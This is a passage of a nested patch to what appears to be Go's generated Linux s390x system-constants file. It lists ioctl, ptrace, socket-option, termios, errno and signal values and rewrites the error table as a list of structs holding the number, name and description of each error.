-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_DISABLE_TE = 0x5010
-+ PTRACE_ENABLE_TE = 0x5009
-+ PTRACE_GET_LAST_BREAK = 0x5006
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_AREA = 0x5003
-+ PTRACE_PEEKTEXT_AREA = 0x5002
-+ PTRACE_PEEKUSR_AREA = 0x5000
-+ PTRACE_PEEK_SYSTEM_CALL = 0x5007
-+ PTRACE_POKEDATA_AREA = 0x5005
-+ PTRACE_POKETEXT_AREA = 0x5004
-+ PTRACE_POKEUSR_AREA = 0x5001
-+ PTRACE_POKE_SYSTEM_CALL = 0x5008
-+ PTRACE_PROT = 0x15
-+ PTRACE_SINGLEBLOCK = 0xc
-+ PTRACE_TE_ABORT_RAND = 0x5011
-+ PT_ACR0 = 0x90
-+ PT_ACR1 = 0x94
-+ PT_ACR10 = 0xb8
-+ PT_ACR11 = 0xbc
-+ PT_ACR12 = 0xc0
-+ PT_ACR13 = 0xc4
-+ PT_ACR14 = 0xc8
-+ PT_ACR15 = 0xcc
-+ PT_ACR2 = 0x98
-+ PT_ACR3 = 0x9c
-+ PT_ACR4 = 0xa0
-+ PT_ACR5 = 0xa4
-+ PT_ACR6 = 0xa8
-+ PT_ACR7 = 0xac
-+ PT_ACR8 = 0xb0
-+ PT_ACR9 = 0xb4
-+ PT_CR_10 = 0x168
-+ PT_CR_11 = 0x170
-+ PT_CR_9 = 0x160
-+ PT_ENDREGS = 0x1af
-+ PT_FPC = 0xd8
-+ PT_FPR0 = 0xe0
-+ PT_FPR1 = 0xe8
-+ PT_FPR10 = 0x130
-+ PT_FPR11 = 0x138
-+ PT_FPR12 = 0x140
-+ PT_FPR13 = 0x148
-+ PT_FPR14 = 0x150
-+ PT_FPR15 = 0x158
-+ PT_FPR2 = 0xf0
-+ PT_FPR3 = 0xf8
-+ PT_FPR4 = 0x100
-+ PT_FPR5 = 0x108
-+ PT_FPR6 = 0x110
-+ PT_FPR7 = 0x118
-+ PT_FPR8 = 0x120
-+ PT_FPR9 = 0x128
-+ PT_GPR0 = 0x10
-+ PT_GPR1 = 0x18
-+ PT_GPR10 = 0x60
-+ PT_GPR11 = 0x68
-+ PT_GPR12 = 0x70
-+ PT_GPR13 = 0x78
-+ PT_GPR14 = 0x80
-+ PT_GPR15 = 0x88
-+ PT_GPR2 = 0x20
-+ PT_GPR3 = 0x28
-+ PT_GPR4 = 0x30
-+ PT_GPR5 = 0x38
-+ PT_GPR6 = 0x40
-+ PT_GPR7 = 0x48
-+ PT_GPR8 = 0x50
-+ PT_GPR9 = 0x58
-+ PT_IEEE_IP = 0x1a8
-+ PT_LASTOFF = 0x1a8
-+ PT_ORIGGPR2 = 0xd0
-+ PT_PSWADDR = 0x8
-+ PT_PSWMASK = 0x0
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +560,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +585,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +592,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2092,171 +666,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
